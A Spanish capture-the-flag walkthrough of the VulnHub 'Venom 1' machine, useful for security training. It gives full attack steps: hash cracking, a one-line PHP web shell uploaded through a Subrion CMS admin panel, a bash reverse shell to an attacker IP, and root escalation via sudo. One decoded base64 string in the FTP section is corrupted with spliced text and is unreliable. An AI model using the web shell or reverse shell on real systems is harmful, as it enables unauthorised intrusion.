Venom 1

Walkthrough de la máquina Venom 1 de Vulnhub

Venom 1

Link a VulnHub

Obteniendo la IP de la máquina víctima

Lo primero que vamos a hacer es tratar de descubrir en qué IP está la máquina víctima. Para ello vamos a usar nmap indicándole que queremos hacer un ping scan (-sn) para toda la red en la que nos encontramos. Si no estamos como el usuario root es recomendable usar sudo para obtener más información de los equipos que se encuentren en la red:

sudo nmap -sn 10.0.0.1/24

Resultado:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-18 08:15 CET Nmap scan report for 10.0.0.1 Host is up (0.014s latency). MAC Address: D8:07:B6:E7:EB:80 (Tp-link Technologies) Nmap scan report for 10.0.0.101 Host is up (0.00022s latency). MAC Address: 7C:50:79:8E:CA:DD (Intel Corporate) Nmap scan report for 10.0.0.102 Host is up (0.0018s latency). MAC Address: 08:00:27:64:80:00 (Oracle VirtualBox virtual NIC) Nmap scan report for 10.0.0.100 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 3.93 seconds

Nmap nos indica que ha detectado 4 dispositivos:

  • 10.0.0.1: router
  • 10.0.0.101: máquina anfitriona
  • 10.0.0.102: máquina víctima
  • 10.0.0.100: máquina atacante

Lo siguiente que vamos a hacer es agregar la IP de la máquina víctima a nuestro /etc/hosts. De esta manera no necesitamos recordar la IP y podemos usar el nombre que le pongamos. Editamos el fichero /etc/hosts y agregamos la siguiente línea al final del mismo:

10.0.0.102 venom1.ctf

Ahora si hacemos un ping venom1.ctf -c 1 deberíamos obtener la siguiente respuesta:

PING venom1.ctf (10.0.0.102) 56(84) bytes of data. 64 bytes from venom1.ctf (10.0.0.102): icmp_seq=1 ttl=64 time=0.570 ms --- venom1.ctf ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.570/0.570/0.570/0.000 ms

Esto nos confirma que resuelve correctamente el hostname que le hemos asignado.

Escaneo de puertos

Una vez que tenemos la IP de la máquina víctima, lo que vamos a hacer es tratar de detectar los puertos que tiene abiertos. Para ello vamos a lanzar otro escaneo con nmap contra todo el rango de puertos (-p-) usando la plantilla de temporizado más rápida (-T5), filtrando por los puertos abiertos (--open), y deshabilitando la resolución de DNS (-n) y el descubrimiento de hosts (-Pn):

nmap -p- -T5 --open -Pn -n venom1.ctf

Resultado:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-18 08:34 CET Nmap scan report for venom1.ctf (10.0.0.102) Host is up (0.0011s latency). Not shown: 65455 filtered tcp ports (no-response), 74 filtered tcp ports (host-unreach), 3 closed tcp ports (conn-refused) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 72.37 seconds

De este escaneo obtenemos que tenemos los siguientes puertos abiertos: 21 (FTP), 80 (HTTP), y el 443 (HTTPS). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV):

nmap -p 21,80,443 -sCV venom1.ctf

Resultado:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-18 08:40 CET Nmap scan report for venom1.ctf (10.0.0.102) Host is up (0.00031s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) 443/tcp open http Apache httpd 2.4.29 |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: Host: 127.0.1.1; OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds

Del resultado de este escaneo más detallado obtenemos lo siguiente:

  • 21/tcp: FTP - vsftpd 3.0.3
  • 80/tcp: HTTP - Apache httpd 2.4.29 ((Ubuntu))
  • 443/tcp: HTTP - Apache httpd 2.4.29

Aquí está ocurriendo algo que nos puede llevar a error. A pesar de que está el puerto 443 abierto (que correspondería a HTTPS), actualmente hay un servicio HTTP en él, así que si intentamos acceder con https:// no funcionaría.

Análisis de los servicios HTTP (80,443/TCP)

Como el escaneo de puertos nos ha indicado que los puertos 80 y 443 están abiertos y tienen expuesto un servicio HTTP, lo primero que vamos a hacer es ver qué se está exponiendo en la ruta raíz. Si accedemos a http://venom1.ctf/ y a http://venom1.ctf:443/ observamos que es la página por defecto de Apache (como ya nos había indicado nmap). Sin embargo, si vamos a la parte final de la página nos encontramos con lo siguiente:

<!...<5f2a66f947fa5690c26506f66bde5c23> follow this to get access on somewhere.....-->

Ese hash parece ser un hash md5. Vamos a intentar crackear ese hash usando John the Ripper. Para ello guardamos el hash en un fichero (md5.txt) y a continuación ejecutamos john indicándole el tipo de hash (Raw-MD5) y usando un diccionaro de contraseñas (--wordlist):

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt md5.txt

Resultado:

Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status hostinger (?) 1g 0:00:00:00 DONE (2023-03-18 10:58) 2.439g/s 18395Kp/s 18395Kc/s 18395KC/s hot042..hostile33 Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed

El resultado del crackeo del hash nos revela que el contenido que oculataba era la siguiente palabra:

  • hostinger.

Si tratamos de listar directorios no encontramos nada relevante, ni siquirea usando la palabra que hemos encontrado. Puede que esa palabra sea una contraseña y/o usuario, así que podemos hacer alguna prueba mediante FTP ya que ese servicio también estaba expuesto.

Análisis del servicio FTP (21/TCP)

Como no hemos encotrado nada analizando los servicios HTTP más allá de la palabra hostinger, lo siguiente que podemos hacer es comprobar si esa palabra es un usuario válido o una credencial válida del usuario root o el propio usuario hostinger. Usando como usuario y contraseña hostinger conseguimos conectarnos:

ftp venom1.ctf

Resultado:

Connected to venom1.ctf. 220 (vsFTPd 3.0.3) Name (venom1.ctf:parrot): hostinger 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>

Si investigamos los recursos que tenemos accesibles mediante FTP encontamos que existe un fichero files/hint.txt. Nos lo traemos a la máquina atacante y vemos el contenido:

Hey there... T0D0 -- * You need to follow the 'hostinger' on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI= * some knowledge of cipher is required to decode the dora password.. * try on venom.box password -- L7f9l8@J#p%Ue+Q1234 -> deocode this you will get the administrator password Have fun .. :)

Aquí tenemos varias cosas interesantes. Tenemos 2 cadenas de texto que parecen estar codificadas en base64, así que vamos a probar a decodificarlas haciendo uso de (echo -n [b64_string] | base64 -d; echo):

  • WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= -> YzNSaGJtUmhjbVFnZG1sblpXNWxjbVVE7r9t8@Q#h%Hy+M1234nWTJsd2FHVnk= -> c3RhbmRhcmQgdmlnZW5lcmUgY2lwaGVy -> standard vigenere cipher
  • aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI= -> https://cryptii.com/pipes/vigenere-cipher

Por otro lado, también nos dice que probemos a acceder usando el hostname venom.box, por lo que puede estar haciéndose uso de virtual hosting. Agregamos ese host a nuestro /etc/hosts y probamos a acceder a la página. Al hacerlo vemos que nos carga una página creada con Subrion CMS. Si navegamos por la web vemos que podemos llegar hasta un panel de administración que se encuentra en http://venom.box/panel/ para el cual no tenemos credenciales.

Siguiendo la pista que nos dieron y probando diferentes combinaciones terminamos dando con la que nos permite acceder al panel de administarción:

  • usuario: dora
  • contraseña: E7r9t8@Q#h%Hy+M1234

Para obtener la contraseña tenemos que hacer lo siguiente en https://cryptii.com/pipes/vigenere-cipher:

  1. Poner como Ciphertext: L7f9l8@J#p%Ue+Q1234
  2. Cambiar la segunda caja a DECODE
  3. En VARIANT poner standard vigenere cipher
  4. En KEY poner hostinger
Demostrazación de desencriptación en cryptil

Ganando acceso a la máquina víctima

Como tenemos acceso al panel de administración y hay una sección en la que se pueden subir archivos, vamos a intentar subir nuestra propia PHP shell. Creamos en nuestra máquina un script en PHP con extensión .phar (cmd.phar) con el siguiente contenido:

<?php system($_GET['cmd']); ?>

A continuación tratamos de subirlo desde el panel de administración y probamos a poner en el navegador lo siguiente:

http://venom.box/uploads/cmd.phar?cmd=id

Resultado:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ahora que ya tenemos ejecución remota de comandos (RCE) en la máquina víctima, lo siguiente que podemos hacer es tratar de entablarnos una reverse shell para poder trabajar con más comodidad. Lo primero que hacemos es ponernos escucha en nuestra máquina mediante Netcat:

nc -nlvp 8888

Recibiendo el mensaje de confirmación de que estamos escuchando:

listening on [any] 8888 ...

A continuación, a través de la shell que hemos subido al servidor ejecutamos un comando para que nos establezca una conexión a nuestro Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.100/8888 0>&1'). Para ello hacemos un url encode del comando y lo pasamos por el parámetro cmd de la url http://venom.box/uploads/cmd.phar?cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.100/8888%200%3E%261%27 obteniendo el siguiente resultado:

connect to [10.0.0.100] from (UNKNOWN) [10.0.0.102] 55536 www-data@venom:/var/www/html/subrion/uploads$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ahora, para poder tener una shell completamente interactiva, lanzamos una pseudo consola con script /dev/null -c bash, presionamos Ctrl + z y hacemos un tratamiento de la tty con stty raw -echo; fg. Hacemos reset para reiniciar la configuración de la terminal, escribirmos xterm como tipo de terminal y exportamos 2 variables de entorno:

  • export TERM=xterm
  • export SHELL=bash

Con esto ya deberíamos poder hacer Ctrl + c para terminar la ejecución de un comando, o Ctrl + l para limpiar la terminal. También podemos ir atrás en el histórico de comandos.

Si investigamos un poco el /etc/passwd vemos que tenemos dos usuarios en el sistema además del usuario root:

  • hostinger: que ya lo conocíamos
  • nathan: nuevo usuario

Pivotando al usuario hostinger

Como nos hemos conectado con ese usuario a través de FTP anteriormente ya sabemos que tanto el usuario como la contraseña es hostinger, así que hacemos su hostinger y cambiamos a ese usuario.

Una vez hecho esto podemos comprobar que en su home (/home/hostinger) podemos encontrar el directorio ftp en el que encontramos el fichero hint.txt anteriormente.

Pivotando al usuario nathan

Si investigamos el .bash_history del usuario hostinger vemos que, a parte de cambiar varias veces la usuario nathan, tiene un backup del .htaccess en /var/www/html/subrion/backup/.htaccess. Si mostramos el contenido vemos lo siguiente:

allow from all You_will_be_happy_now :) FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a

La última línea de ese fichero puede ser una contraseña, así que la probamos contra el usuario nathan a ver si es correcta. Hacemos su nathan y ponemos como contraseña FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a. Comprobamos que es correcta así que ya tenemos forma de pivotar a este usuario.

Si listamos el contenido del directorio home del usuario nathan /home/nathan encontramos el primer flag (user.txt): W3_@r3_V3n0m:P.

Ganando acceso como root

Lo primero que podemos hacer es ver los privilegios que tiene el usuario nathan, así que ejecutamos sudo -l:

Matching Defaults entries for nathan on venom: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nathan may run the following commands on venom: (root) ALL, !/bin/su (root) ALL, !/bin/su

En principio podemos ejecutar como root todos los binarios salvo el binario /bin/su, así que podemos probar abrir una bash como el usuario root:

sudo /bin/bash

Resultado:

root@venom:~# whoami root

Así que con esto ya tendríamos acceso como root a la máquina víctima.

Si listamos el contenido del directorio home del usuario root /root encontramos el segundo flag (root.txt): #root_flag H@v3_a_n1c3_l1fe..